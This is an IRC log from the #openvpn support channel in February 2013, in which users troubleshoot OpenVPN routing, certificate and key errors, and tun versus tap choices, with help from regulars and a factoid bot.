18:58 < leg3nd> hey pekster, just wanted to let you know the issue was indeed with the virtual adapter - I changed it to different type in ESXi and the VPN works as intended. Thank you for your help.
19:04 -!- leg3nd [~leg3nd@unaffiliated/leg3nd] has quit [Ping timeout: 260 seconds]
19:13 -!- neilhwatson [~neilhwats@cl-274.chi-03.us.sixxs.net] has quit [Quit: Leaving.]
19:15 -!- bumblebee [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has joined #openvpn
19:16 -!- hydroxyhydride [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has joined #openvpn
19:29 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
19:34 -!- hydroxyhydride [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has quit [Ping timeout: 256 seconds]
19:34 -!- bumblebee [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has quit [Ping timeout: 256 seconds]
19:40 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
20:25 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Read error: Connection reset by peer]
20:39 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
20:46 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
21:01 -!- mirco_ [~mirco@p50805CBE.dip.t-dialin.net] has joined #openvpn
21:03 -!- uberushaximus [~uberushax@hacked.thegov.us] has quit [Ping timeout: 252 seconds]
21:04 -!- uberushaximus [~uberushax@hacked.thegov.us] has joined #openvpn
21:04 -!- mirco [~mirco@p50806731.dip.t-dialin.net] has quit [Ping timeout: 264 seconds]
21:04 -!- mirco_ is now known as mirco
21:07 -!- mirco [~mirco@p50805CBE.dip.t-dialin.net] has quit [Quit: mirco]
21:17 < DougEFresh> openvpn and pfsense and fw rules are making me lose my mind
21:28 -!- nonotza [~nonotza@cpe-74-73-224-62.nyc.res.rr.com] has joined #openvpn
21:33 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
21:49 -!- nonotza [~nonotza@cpe-74-73-224-62.nyc.res.rr.com] has quit [Quit: nonotza]
22:27 -!- n0sq [~quassel@75-135-14-61.dhcp.krny.ne.charter.com] has joined #openvpn
22:28 -!- n0sq [~quassel@75-135-14-61.dhcp.krny.ne.charter.com] has quit [Read error: Connection reset by peer]
22:40 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
22:43 -!- hazardous [~dbn@void.kassad.in] has quit [Changing host]
22:43 -!- hazardous [~dbn@openvpn/user/hazardous] has joined #openvpn
22:43 -!- mode/#openvpn [+v hazardous] by ChanServ
23:00 -!- Devastator- [~devas@186.214.110.17] has joined #openvpn
23:01 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 244 seconds]
23:03 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
23:05 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 245 seconds]
23:09 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 256 seconds]
23:17 -!- mattock_afk [~mattock@raidz.im] has joined #openvpn
23:18 -!- mattock_afk is now known as mattock
23:18 -!- mattock [~mattock@raidz.im] has quit [Changing host]
23:18 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
23:18 -!- mode/#openvpn [+o mattock] by ChanServ
23:18 -!- raidz_away [~raidz@raidz.im] has joined #openvpn
23:18 -!- raidz_away is now known as raidz
23:18 -!- raidz [~raidz@raidz.im] has quit [Changing host]
23:18 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
23:18 -!- mode/#openvpn [+o raidz] by ChanServ
23:20 -!- p3rror [~mezgani@41.249.81.68] has quit [Ping timeout: 264 seconds]
23:54 -!- odoacre_ is now known as odoacre
23:54 -!- nickmoeck [~nickmoeck@205.185.118.253] has joined #openvpn
23:58 -!- baobeiiii [~baobeiiii@180.155.14.35] has quit [Read error: Connection reset by peer]
23:58 -!- baobeiiii [~baobeiiii@192.73.244.224] has joined #openvpn
--- Day changed Fri Feb 22 2013
00:12 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
00:14 -!- xkernel_ [~xkernel@gateway/tor-sasl/xkernel] has joined #openvpn
00:14 < xkernel_> what will happen if I didn't specify MTU in the server and client conf?
00:17 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit []
00:24 -!- nutron [~nutron@unaffiliated/nutron] has quit [Remote host closed the connection]
00:31 -!- xkernel_ [~xkernel@gateway/tor-sasl/xkernel] has quit [Ping timeout: 276 seconds]
00:37 -!- xkernel_ [~xkernel@gateway/tor-sasl/xkernel] has joined #openvpn
00:38 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
00:47 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
00:53 -!- xkernel_ [~xkernel@gateway/tor-sasl/xkernel] has quit [Ping timeout: 276 seconds]
00:55 -!- xkernel_ [~xkernel@gateway/tor-sasl/xkernel] has joined #openvpn
00:56 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit []
01:00 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
01:01 -!- xkernel_ [~xkernel@gateway/tor-sasl/xkernel] has quit [Ping timeout: 276 seconds]
01:03 -!- baobeiiii_ [~baobeiiii@180.155.14.35] has joined #openvpn
01:06 -!- baobeiiii [~baobeiiii@192.73.244.224] has quit [Ping timeout: 245 seconds]
01:22 -!- baobeiiii__ [~baobeiiii@180.155.14.35] has joined #openvpn
01:22 -!- baobeiiii_ [~baobeiiii@180.155.14.35] has quit [Read error: Connection reset by peer]
01:39 -!- Teck7__ [~teck7@69.157.154.143] has joined #openvpn
01:40 -!- Teck7 [~teck7@76.65.60.225] has quit [Read error: Connection reset by peer]
02:05 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
02:05 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
02:05 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
02:05 -!- mode/#openvpn [+o krzee] by ChanServ
02:16 -!- Devastator- [~devas@186.214.110.17] has quit [Read error: Connection reset by peer]
02:16 -!- Devastator [~devas@186.214.110.17] has joined #openvpn
02:17 -!- mikeybs [~michael@cpe-67-248-128-94.nycap.res.rr.com] has joined #openvpn
02:18 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
02:20 < mikeybs> I'm trying to get access to the LAN behind the server from the client, right now when I connect I can ping the server by it's LAN IP, but I can not ping anything else on the server LAN, running on arch linux, I have packet forwarding enabled, and I have the NIC in promiscious mode
02:22 -!- baobeiiii__ [~baobeiiii@180.155.14.35] has quit [Quit: Leaving]
02:25 < odoacre> !obfsproxy
02:25 <@vpnHelper> "obfsproxy" is (#1) For a writeup on using obfsproxy with OpenVPN see https://syria.hacktivist.me/?p=148 or (#2) See also !obfs. The link to TrafficObfuscation also contains a setup example
02:27 <@krzee> mikeybs,
02:27 <@krzee> !route_outside_ovpn
02:27 <@vpnHelper> "route_outside_ovpn" is "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
02:28 < mikeybs> yup, thanks, I am just finding it on my own as well :)
02:28 < mikeybs> I had found it earlier, but it didn't make sense to me, then another forum post did
02:28 < mikeybs> but thanks for helping, appreciate it!
02:29 <@krzee> yw
02:34 < mikeybs> hmm, now I can ping the router on the server LAN, but none of the other hosts on the server LAN except the server itself
02:36 < mikeybs> I have an openbsd router on the server side
02:36 < mikeybs> did this on it
02:36 < mikeybs> route add -net 10.8.0.0/24 192.168.0.115
02:36 < mikeybs> add net 10.8.0.0/24: gateway 192.168.0.115
02:37 < mikeybs> seems like it worked cause I can now ping the router openbsd router itself
02:39 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
02:50 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
03:06 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has joined #openvpn
03:08 -!- mirco_ [~mirco@pd95b6029.dip0.t-ipconnect.de] has joined #openvpn
03:11 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has quit [Ping timeout: 244 seconds]
03:11 -!- mirco_ is now known as mirco
03:13 -!- sitaktif [~sitaktif@kollok.org] has quit [Quit: The Screen is dead, long live the screen!]
03:24 -!- sitaktif [~sitaktif@kollok.org] has joined #openvpn
03:49 -!- brute11k1 [~brute11k@89.249.235.210] has joined #openvpn
03:50 -!- brute11k [~brute11k@89.249.235.210] has quit [Ping timeout: 252 seconds]
04:40 -!- erry_ is now known as erry
04:51 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
04:52 -!- Devastator [~devas@186.214.110.17] has quit [Changing host]
04:52 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
04:57 -!- JSharpe [~JSharpe@10-253-3-31-anc.floodtel.net] has joined #openvpn
05:01 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Ping timeout: 252 seconds]
06:09 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
06:44 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 240 seconds]
06:48 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
07:04 -!- master_of_master [~master_of@87.181.77.103] has quit [Ping timeout: 252 seconds]
07:06 -!- master_of_master [~master_of@p57B55327.dip.t-dialin.net] has joined #openvpn
07:10 -!- p3rror [~mezgani@41.249.146.72] has joined #openvpn
07:17 < surfmasta> when i kill openvpn and restart < 1-2 seconds it gets old data pushed to the client, when i wait a little then not, is there a switch so that the openvpn tries to pull always new configuration?
07:25 -!- Teck7__ is now known as rfxn
07:43 < defswork> I'm getting bad source address from client for the internet facing IP address of the client
07:44 < defswork> routing muck up somehow ?
07:44 < defswork> or SNATTing stuff it shouldnt
07:44 -!- mattock is now known as mattock_afk
07:48 < defswork> SNAT       0    --  192.168.15.0/24      0.0.0.0/0           to:93.12.11.145
07:48 < defswork> that wont do much good
07:49 < defswork> hmm specific to eth1 only so should be ok
08:05 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
08:16 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
08:29 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has quit [Remote host closed the connection]
08:29 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has joined #openvpn
08:43 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
09:20 -!- bumblebee [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has joined #openvpn
09:20 -!- hydroxyhydride [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has joined #openvpn
09:25 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
09:35 -!- p3rror [~mezgani@41.249.146.72] has quit [Read error: Operation timed out]
09:35 -!- hydroxyhydride [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has quit [Ping timeout: 264 seconds]
09:35 -!- bumblebee [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has quit [Ping timeout: 264 seconds]
09:35 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has quit [Quit: mirco]
09:36 -!- samba35 [~shrikant@unaffiliated/samba35] has joined #openvpn
09:38 -!- samba35 [~shrikant@unaffiliated/samba35] has quit [Client Quit]
09:44 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has joined #openvpn
09:46 -!- bumblebee [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has joined #openvpn
09:46 -!- hydroxyhydride [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has joined #openvpn
09:56 < dpecka> stupid Q: .. one of keys is bad obviously .. how can I print out the ca for given client.crt ?\
09:56 < pekster> You can get the Issuer fields (and all other x509 fields in any cert) by doing: openssl x509 -in file.crt -noout -text
09:56 < pekster> I think that's what you wanted, right? You want to see "which" CA signed that particular cert?
09:56 < dpecka> thanks
09:57 < dpecka> exactly
09:57 -!- odoacre [~antonio@us.happylatte.com] has quit [Ping timeout: 256 seconds]
09:57 -!- odoacre [~antonio@us.happylatte.com] has joined #openvpn
09:58 < pekster> Yup, that's it then. Pay attention to the 'X509v3 Authority Key Identifier' as the issuer Subject DN is just text that could in theory match anyone's CA who used that as the "name" of the CA
09:58 -!- Kalavera [~Kalavera@aquiles.novelix.com.pe] has joined #openvpn
10:00 < Kalavera> greetings guys for some reason my vpn has stopped to work , I can ping the tun0 interface of the vpn server also the ethernet interface that looks to the lan but can reaches it from the client server
10:00 < dpecka> pekster: it seems same .. wt* .. client on windows spits out this:
10:00 < dpecka> Fri Feb 22 16:56:59 2013 Cannot load private key file C:\Program Files (x86)\OpenVPN\config\zkorinek.key: error:0906D06C:PEM routines:PEM_read_bio:no start line: error:140B0009:SSL routines:SSL_CTX_use_PrivateKey_file:PEM lib
10:00 < dpecka> Fri Feb 22 16:56:59 2013 Error: private key password verification failed
10:01 < dpecka> pekster: i compared that to client.crt which works
10:01 < pekster> Wrong password for the private key it seems
10:01 < dpecka> there's no password protecting the key
10:01 < pekster> Oh, it can't find the key is why
10:02 < pekster> "Cannot load private key file"
10:02 < pekster> Post your config on the client; it's probably either not where you expect it to be, or the path isn't quoted/escaped properly
10:02 < pekster> You need something like: key "C:\\some where\\file.key"
10:03 < pekster> quoted (for the spaces) and escaped (for the path seperator)
10:04 -!- bumblebee [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has quit [Ping timeout: 255 seconds]
10:04 -!- hydroxyhydride [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has quit [Ping timeout: 255 seconds]
10:04 < dpecka> pekster: path is fine .. i have same setup for more clients which work .. i think there's some problem with cert
10:06 < pekster> !factoids search verify
10:06 <@vpnHelper> "certverify" is (#1) verify your certs are signed correctly by running `openssl verify -CAfile <ca.crt> <client.crt>` for client.crt and server.crt or (#2) also make sure you use the same ca.crt on both sides by checking their md5
10:06 < pekster> dpecka: See #1 there
10:07 < pekster> Now, it's possible the cert doesn't match the private key (the cert contains the "public" part of the  keypair, plus the CA's signature on top of it marking it as "trusted" when the server checks it against its own copy of the ca.crt
10:07 < pekster> In that case you'd need to re-create a keypair and have the CA sign it
10:08 < pekster> (you can either create a new request from the private key, or better might just be to re-issue the keypair if you use easy-rsa or something since it won't support "out of the box" doing a CSR from a private key
10:09 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:11 < dpecka> pekster: thanks .. i generated new key and it works ..
10:22 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
10:33 -!- Kalavera [~Kalavera@aquiles.novelix.com.pe] has left #openvpn []
10:42 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has quit [Quit: Ex-Chat]
11:07 -!- surfmasta [~bart@80.92.88.10] has quit [Quit: Leaving]
11:08 -!- jthunder [~jthunder@174.3.126.51] has quit [Ping timeout: 264 seconds]
11:10 -!- vraa__ [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
11:13 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 248 seconds]
11:20 -!- JesseC [~JesseCWor@wsip-98-175-20-126.br.br.cox.net] has quit [Ping timeout: 244 seconds]
11:32 -!- dazo_afk is now known as dazo
11:48 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
12:02 < JackSparrow> if i have two servers (using 10.0.1.0/24 and 10.0.2.0/24), how can i connect clients from the first server to clients from second server ?
12:05 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
12:07 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
12:12 < pekster> JackSparrow: First you need a functional setup you can ping across (VPN server IP <--> VPN client IP.) Then, follow each of these guides/flowcharts to get access to eacn LAN:
12:12 < pekster> !serverlan
12:12 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
12:12 < pekster> !clientlan
12:12 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
12:12 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
12:13 < JackSparrow> pekster: thank you!
12:20 -!- Vorik [~quassel@D97950AD.cm-3-2b.dynamic.ziggo.nl] has quit [Read error: Connection reset by peer]
12:28 -!- zhvtar [~zhvtar@unaffiliated/zhvtar] has joined #openvpn
12:38 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
12:41 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Ping timeout: 252 seconds]
12:48 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
13:00 -!- EugeneKay [eugene@madeitwor.se] has quit [Remote host closed the connection]
13:00 -!- spitf1r3 [~quassel@89.200.144.70] has joined #openvpn
13:03 -!- EugeneKay [eugene@madeitwor.se] has joined #openvpn
13:05 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 264 seconds]
13:32 -!- defsdoor [~andy@cpc30-sutt4-2-0-cust155.19-1.cable.virginmedia.com] has joined #openvpn
13:33 -!- defsdoor [~andy@cpc30-sutt4-2-0-cust155.19-1.cable.virginmedia.com] has quit [Client Quit]
13:54 -!- vraa__ [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Quit: Leaving]
14:22 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
14:46 -!- md_5 [md_5@mcdevs/trusted/md-5] has quit [Ping timeout: 252 seconds]
14:51 -!- k1ng [~k1ng@unaffiliated/k1ng] has left #openvpn ["Leaving"]
14:52 -!- md_5 [md_5@mcdevs/trusted/md-5] has joined #openvpn
14:54 -!- dazo is now known as dazo_afk
15:08 -!- Orbi [~opera@109.129.1.224] has joined #openvpn
15:08 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
15:11 -!- pcdummy [~quassel@unaffiliated/pcdummy] has joined #openvpn
15:12 -!- brute11k [~brute11k@89.249.235.210] has joined #openvpn
15:12 < pcdummy> hi, i followed the following howto to build a VPN to my KVM libvirt Network, but i can't ping trough it, someone here wanna help me with it?
15:12 < pcdummy> http://deathegg.student.utwente.nl/wiki/Knowledge:OpenVPN#Bridging_OpenVPN_.28Server.29
15:12 <@vpnHelper> Title: Knowledge:OpenVPN - Death Egg (at deathegg.student.utwente.nl)
15:13 < pcdummy> It seams like a routing/NAT problem, but i'm at the end of my knowledge.
15:13 -!- brute11k1 [~brute11k@89.249.235.210] has quit [Ping timeout: 255 seconds]
15:13 < pcdummy> I get  a lot of these lines on the server: Feb 22 22:07:14 srvvm1 ovpn-server[25554]: rkistl/213.163.240.86:11603 MULTI: Learn: 40:00:40:06:b0:b7 -> rkistl/213.163.240.86:11603
15:14 < pcdummy> rkistl is my VPN key and its my current public ip.
15:16 < pcdummy> http://pastie.org/6318814 <-- my current iptables output
15:18 < pcdummy> http://pastie.org/6318827 <-- seems like i need another Forward rule?
15:19 < zhvtar> pcdummy: is this behind nat router? if so, may need to set up route info
15:19 < pcdummy> zhvtar: it isn't.
15:20 < pekster> pcdummy: Whta's the end-goal here?
15:20 < pcdummy> zhvtar: the problem is the kvm virbr2 its bridging i think.
15:20 < pcdummy> pekster: i want a direct network with the kvm machines on the host.
15:20 < pekster> What is a "direct network"
15:20 < zhvtar> haven't done bridging yet. sorry i can't help.
15:21 < pcdummy> pekster: same ip, same UDP
15:21 < pekster> huh? You can't have 2 machines with the sam IP
15:21 < pcdummy> broadcast and so on
15:21 < pcdummy> pekster: same network
15:22 < pekster> What's the purpose though? If you just want IP connectivity (including UDP) then you don't need bridging at all
15:22 < pekster> !tunortap
15:22 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
15:22 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
15:22 < pekster> If you need something besides IP/TCP/UDP you should clarify
15:22 < pekster> !goal
15:22 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
15:25 < pcdummy> pekster: ok, ... i go back to the easy setup.
15:30 -!- Makenai [~Makenai@78.129.218.107] has joined #openvpn
15:30 < Makenai> !welcome
15:30 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
15:31 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
15:31 < Makenai> !route
15:31 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide
15:38 < pekster> !learn route as See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind the server or client
15:38 <@vpnHelper> Joo got it.
15:42 -!- Makenai [~Makenai@78.129.218.107] has quit [Ping timeout: 248 seconds]
15:46 -!- Makenai [~Makenai@78.129.218.107] has joined #openvpn
15:47 < zhvtar> !serverlan
15:47 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
16:01 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
16:04 -!- Alberts00 [~Makenai@91.105.79.97] has joined #openvpn
16:06 -!- Makenai [~Makenai@78.129.218.107] has quit [Ping timeout: 255 seconds]
16:16 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Read error: Operation timed out]
16:23 -!- Makenai [~Makenai@beaver.feralhosting.com] has joined #openvpn
16:24 -!- Alberts00 [~Makenai@91.105.79.97] has quit [Ping timeout: 252 seconds]
16:24 -!- Alberts00 [~Makenai@78.129.218.107] has joined #openvpn
16:27 -!- zhvtar is now known as abowman
16:27 -!- abowman [~zhvtar@unaffiliated/zhvtar] has quit [Excess Flood]
16:27 -!- zhvtar [~zhvtar@198.23.139.102] has joined #openvpn
16:27 -!- zhvtar [~zhvtar@198.23.139.102] has quit [Changing host]
16:27 -!- zhvtar [~zhvtar@unaffiliated/zhvtar] has joined #openvpn
16:27 -!- zhvtar [~zhvtar@unaffiliated/zhvtar] has quit [Excess Flood]
16:27 -!- zhvtar [~zhvtar@198.23.139.102] has joined #openvpn
16:27 -!- zhvtar [~zhvtar@198.23.139.102] has quit [Excess Flood]
16:27 -!- zhvtar [~zhvtar@198.23.139.102] has joined #openvpn
16:27 -!- zhvtar [~zhvtar@198.23.139.102] has quit [Changing host]
16:27 -!- zhvtar [~zhvtar@unaffiliated/zhvtar] has joined #openvpn
16:27 -!- zhvtar [~zhvtar@unaffiliated/zhvtar] has quit [Excess Flood]
16:27 -!- zhvtar [~zhvtar@198.23.139.102] has joined #openvpn
16:27 -!- zhvtar [~zhvtar@198.23.139.102] has quit [Changing host]
16:27 -!- zhvtar [~zhvtar@unaffiliated/zhvtar] has joined #openvpn
16:27 -!- zhvtar [~zhvtar@unaffiliated/zhvtar] has quit [Excess Flood]
16:27 -!- zhvtar [~zhvtar@198.23.139.102] has joined #openvpn
16:27 -!- zhvtar [~zhvtar@198.23.139.102] has quit [Changing host]
16:27 -!- zhvtar [~zhvtar@unaffiliated/zhvtar] has joined #openvpn
16:28 -!- Makenai [~Makenai@beaver.feralhosting.com] has quit [Ping timeout: 260 seconds]
16:29 -!- Alberts00 [~Makenai@78.129.218.107] has quit [Ping timeout: 246 seconds]
16:35 -!- Orbi [~opera@109.129.1.224] has left #openvpn []
16:41 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
16:44 < mikeybs> so I'm guessing my problem has something to do with my router configuration on my server lan, but I'm not sure what the issue is....
16:45 < mikeybs> I can ping from VPN client to VPN server both the server VPN IP as well as the server LAN IP
16:45 < mikeybs> I can also ping the LAN router from the VPN client
16:46 < mikeybs> but I can not ping any other hosts on the LAN
16:46 < mikeybs> I've added a route to the router for the VPN
16:47 < mikeybs> 10.8.0/24          192.168.0.115
16:48 < mikeybs> all of that refers to the server LAN, I am not concerned with the client LAN, at least not yet... lol
16:49 < mikeybs> server LAN access from the client is the biggest requirement
16:51 < mikeybs> can anyone confirm that this scenario is conclusively a misconfigured server LAN router?
16:51 < mikeybs> I am running an openbsd router, but I am not an expert with it, I just use it for a basic NAT router with some port forwarding to the internal network
16:53 -!- hg_5_ [~chatzilla@91.234.245.245] has joined #openvpn
16:53 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 256 seconds]
16:54 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Ping timeout: 260 seconds]
16:55 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Quit: Leaving]
16:56 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
16:56 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
16:58 -!- hydroxyhydride [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has joined #openvpn
16:58 -!- bumblebee [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has joined #openvpn
16:58 -!- hg_5_ [~chatzilla@91.234.245.245] has quit [Ping timeout: 255 seconds]
17:05 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
17:19 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
17:31 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 252 seconds]
17:31 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:42 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
17:43 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
18:06 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
18:08 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Ping timeout: 248 seconds]
18:09 -!- ppr is now known as peper
18:13 -!- sysdoc [~sysdoc@pool-71-105-40-229.lsanca.dsl-w.verizon.net] has joined #openvpn
18:14 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
18:19 -!- p3rror [~mezgani@41.249.146.72] has joined #openvpn
18:35 -!- nutron [~nutron@unaffiliated/nutron] has quit [Remote host closed the connection]
18:39 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
18:41 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
18:47 -!- nutron [~nutron@unaffiliated/nutron] has quit [Read error: Connection reset by peer]
18:47 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 246 seconds]
18:48 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
19:02 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
19:22 -!- spitf1r3 [~quassel@89.200.144.70] has quit [Read error: Connection reset by peer]
19:23 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
19:23 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
19:23 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
19:23 -!- mode/#openvpn [+o krzee] by ChanServ
19:26 -!- novaflash is now known as novaflash_away
19:39 -!- roboman2444 [~roboman24@unaffiliated/roboman2444] has joined #openvpn
19:39 < roboman2444> is it possible to comp[ile a statically linked openvpn?
19:39 < roboman2444> so no lib dependencies
19:41 < EugeneKay> Yes. man gcc
